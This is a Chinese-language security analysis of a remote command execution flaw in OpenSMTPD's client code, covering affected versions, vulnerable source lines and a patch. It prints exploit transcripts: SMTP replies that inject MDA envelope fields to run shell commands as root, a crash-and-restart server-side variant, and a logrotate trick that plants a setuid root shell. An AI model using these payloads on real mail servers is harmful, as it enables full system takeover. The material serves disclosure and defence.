OpenBSD SMTP漏洞分析报告
安全人员在OpenBSD SMTP中发现了一个存在长达4年的漏洞，攻击者可利用该漏洞远程执行代码，多个linux发行版本受到影响。
综述
近期在OpenBSD邮件服务器中发现了一个漏洞。此漏洞是在2015年12月引入的越界读取（commit 80c6a60c）。攻击者可远程利用该漏洞，在18年5月前可以非root权限执行任意shell命令， 2018年5月之后（commit a8e22235）可以root权限执行shell命令。
因为此漏洞位于OpenSMTPD的客户端代码中，需要考虑两个不同的情况：
客户端利用
在OpenSMTPD（因此也是OpenBSD）的默认配置中可以远程利用此漏洞。OpenSMTPD仅监听本地主机，默认情况下，它接受来自本地用户的邮件并将其传递到远程服务器。如果远程服务器是被攻击者控制，攻击者可以在存在漏洞的OpenSMTPD上执行任意shell命令。
服务器端利用
首先，攻击者必须连接到OpenSMTPD服务器（该服务器接受外部邮件）并发送bounce邮件。当OpenSMTPD重新连接到邮件服务器传递bounce时，攻击者可以利用OpenSMTPD的客户端漏洞。攻击者必须使OpenSMTPD崩溃并等待它重新启动后才能执行命令。
影响版本
安全人员已针对漏洞开发利用程序与补丁，漏洞存在版本：OpenBSD 6.6（当前版本），OpenBSD 5.9，Debian 10（稳定版），Debian 11（测试版）和Fedora 31。
漏洞分析
SMTP客户端连接到SMTP服务器并发送EHLO、MAIL FROM和RCPT TO等命令。SMTP服务器以单行或多行回复：
第一行以三位数代码和连字符（'-'）开头，后跟可选文本（例如，“250-ENHANCEDSTATUSCODES”）；
最后一行以相同的三位数代码开头，后跟可选空格（' '）和文本（例如，“250 HELP”）。
在OpenSMTPD的客户端代码中，这些多行应答由mta_io（）函数处理：
1098 static void
1099 mta_io(struct io *io, int evt, void *arg)
1100 {
....
1133 case IO_DATAIN:
1134 nextline:
1135 line = io_getline(s->io, &len);
....
1146 if ((error = parse_smtp_response(line, len, &msg, &cont))) {第一行 (when line[3] == '-')会链接到一个大小为2KB的replybuf：
1177 if (cont) {
1178 if (s->replybuf[0] == '\0')
1179 (void)strlcat(s->replybuf, line, sizeof s->replybuf);
1180 else {
1181 line = line + 4;
....
1187 (void)strlcat(s->replybuf, line, sizeof s->replybuf);
1188 }
1189 goto nextline;
1190 }最后一行 (when line[3] != '-') 会链接到replybuf：
1195 if (s->replybuf[0] != '\0') {
1196 p = line + 4;
....
1201 if (strlcat(s->replybuf, p, sizeof s->replybuf) >= sizeof s->replybuf)如果最后一行的三位数代码后面没有可选的空格和文本，p（在1196行）指向'\0'后的第一个字符，越界字符串链接到repeatbuf（在第1201行）。
如何利用越界读取执行命令
1、在回复的最后一行精确控制“越界”字符串，OpenSMTPD会以块为单位读取我们的回复，而不是逐字符读取。如果发送的最后为"xyz\nstring\0"，“ string”会链接到repeatbuf中。
2、如果回复的三位数代码表示暂时错误（4yz）或永久错误（5yz），则Replybuf的内容会写入"errorline"字段并尝试传递邮件。
3、邮件基本形式为： “ field：data \ n”，构造好的越界字符串（写入"errorline"字段）可以包含“ \ n”字符：因此可以在邮件中插入新一行内容并更改OpenSMTPD的行为。
客户端漏洞利用
可直接利用客户端漏洞，等待OpenSMTPD连接到服务器，利用多行应答创建 bounce并注入以下内容：
type: mda mda-exec: shell command dispatcher: local_mail mda-user: root
“local_mail”是OpenSMTPD的本地调度器的名称（默认配置），当OpenSMTPD尝试传递bounce时，MDA命令会立即执行，因为注入内容已将其类型从MTA（Message Transfer Agent）更改为MDA（Message Delivery Agent），示例如下：
首先，在OpenBSD机器上，本地用户发送一封邮件（其中“[192.168.56.1]”是攻击者邮件服务器的IP地址）
$ id
uid=1001(john) gid=1001(john) groups=1001(john)
$ echo test | /usr/sbin/sendmail 'test@[192.168.56.1]'在攻击者邮件服务器上：
# ./ent-of-line
...
Connection from 192.168.56.104:39404
...
<-- MAIL FROM:<john@obsd66.example.org>
--> 553-Error
--> 553
type:mda
mda-exec:X=`mktemp /tmp/x.XXXXXX`&&id>>$X;exit 0
dispatcher:local_mail
mda-user:root最后在OpenBSD机器上会执行命令：
# cat /tmp/x.*
uid=0(root) gid=0(wheel) groups=0(wheel)服务器端漏洞利用
服务器端漏洞利用更为复杂，需要面对三个问题：
1、漏洞代码位于客户端而不是服务端，因此需要连接到OpenSMTPD服务器，通过发送邮件生成bounce，等待OpenSMTPD回连到自己的邮件服务器。
2、不能利用‘permanent error’回复bounce消息，服务器会直接丢弃（double bounce），因此可以利用‘temporary error’回复并注入内容。
3、OpenSMTPD不会立刻执行注入的MDA命令，bounce会在其MTA队列之中而不是MDA队列，因此需要使OpenSMTPD服务崩溃从而导致内存丢失，重启后就会立刻执行MDA中的命令。
示例如下：
首先在攻击者邮件服务器中（"192.168.56.104"为OpenBSD机器，"192.168.56.1"为攻击者邮件服务器，“root@example.org”是OpenBSD计算机上的有效邮件地址）：
# ./ent-of-line 192.168.56.104 'test@[192.168.56.1]' root@example.org
...
Connected to 192.168.56.104:25
...
--> MAIL FROM:<test@[192.168.56.1]>
<-- 250 2.0.0 Ok
--> RCPT TO:<root@example.org> NOTIFY=SUCCESS
<-- 250 2.1.5 Destination address valid: Recipient ok
...
Connection from 192.168.56.104:40061
...
<-- MAIL FROM:<>
--> 421-Error
--> 421
type:mda
mda-exec:X=`mktemp /tmp/x.XXXXXX`&&id>>$X;exit 0
dispatcher:local_mail
mda-user:root
Connected to 192.168.56.104:25
...
--> MAIL FROM:<test@[192.168.56.1]>
<-- 250 2.0.0 Ok
--> RCPT TO:<root@example.org> NOTIFY=SUCCESS
<-- 250 2.1.5 Destination address valid: Recipient ok
...
Connection from 192.168.56.104:20037
...
<-- MAIL FROM:<>
--> 421-Error
--> 421
type:invalidOpenBSD计算机中（管理员重启OpenSMTPD前后）:
# cat /tmp/x.*
cat: /tmp/x.*: No such file or directory
# rcctl restart smtpd
smtpd(ok)
# cat /tmp/x.*
uid=0(root) gid=0(wheel) groups=0(wheel)旧版本漏洞利用
在旧版本的利用方式如下，注入内容为：
type: mda
mda-buffer: our arbitrary shell command
mda-method: mda
mda-user: nobody
mda-usertable: <getpwnam>首先攻击者邮件服务器中：（"192.168.56.141"是Debian计算机，"192.168.56.1"是攻击者邮件服务器，“root@example.org”是Debian计算机上的有效邮件地址）
# ./ent-of-line -u nobody 192.168.56.141 'test@[192.168.56.1]' root@example.org
...
Connected to 192.168.56.141:25
...
--> MAIL FROM:<test@[192.168.56.1]>
<-- 250 2.0.0: Ok
--> RCPT TO:<root@example.org> NOTIFY=SUCCESS
<-- 250 2.1.5 Destination address valid: Recipient ok
...
Connection from 192.168.56.141:35378
...
<-- MAIL FROM:<>
--> 421-Error
--> 421
type:mda
mda-buffer:X=`mktemp /tmp/x.XXXXXX`&&id>>$X;exit 0
mda-method:mda
mda-user:nobody
mda-usertable:<getpwnam>
Connected to 192.168.56.141:25
...
--> MAIL FROM:<test@[192.168.56.1]>
<-- 250 2.0.0: Ok
--> RCPT TO:<root@example.org> NOTIFY=SUCCESS
<-- 250 2.1.5 Destination address valid: Recipient ok
...
Connection from 192.168.56.141:35380
...
<-- MAIL FROM:<>
--> 421-Error
--> 421
type:invalid在Debian重启前后：
# cat /tmp/x.*
cat: '/tmp/x.*': No such file or directory
# systemctl restart opensmtpd.service
# cat /tmp/x.*
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)Debian中（攻击者攻击中含有‘nobody’命令）：
$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
$ mkdir -m 0700 /tmp/maildir
$ cd /tmp/maildir
$ ln -s /etc tmp
$ ln -s /etc/logrotate.d new
$ /usr/sbin/sendmail 'test@[192.168.56.1]' << 'EOF'
/var/log/lastlog {
missingok
rotate 1
nomail
size 1
copy
firstaction
cp -f /bin/bash /var/log && chmod 04555 /var/log/bash
endscript
}
EOF在攻击者服务器中：
# ./ent-of-line -m /tmp/maildir
...
Connection from 192.168.56.141:35382
...
<-- MAIL FROM:<nobody@debian>
--> 553-Error
--> 553
type:mda
mda-buffer:/tmp/maildir
mda-method:maildir
mda-user:root
mda-usertable:<getpwnam>最后在Debian机器中：
$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
$ /var/log/bash -p
# id
uid=65534(nobody) gid=65534(nogroup) euid=0(root) groups=65534(nogroup)建议
OpenSMTPD 6.6.4p1中发布了安全修复程序。在OpenBSD上可以通过运行“syspatch”命令打上补丁，并重启OpenSMTPD服务。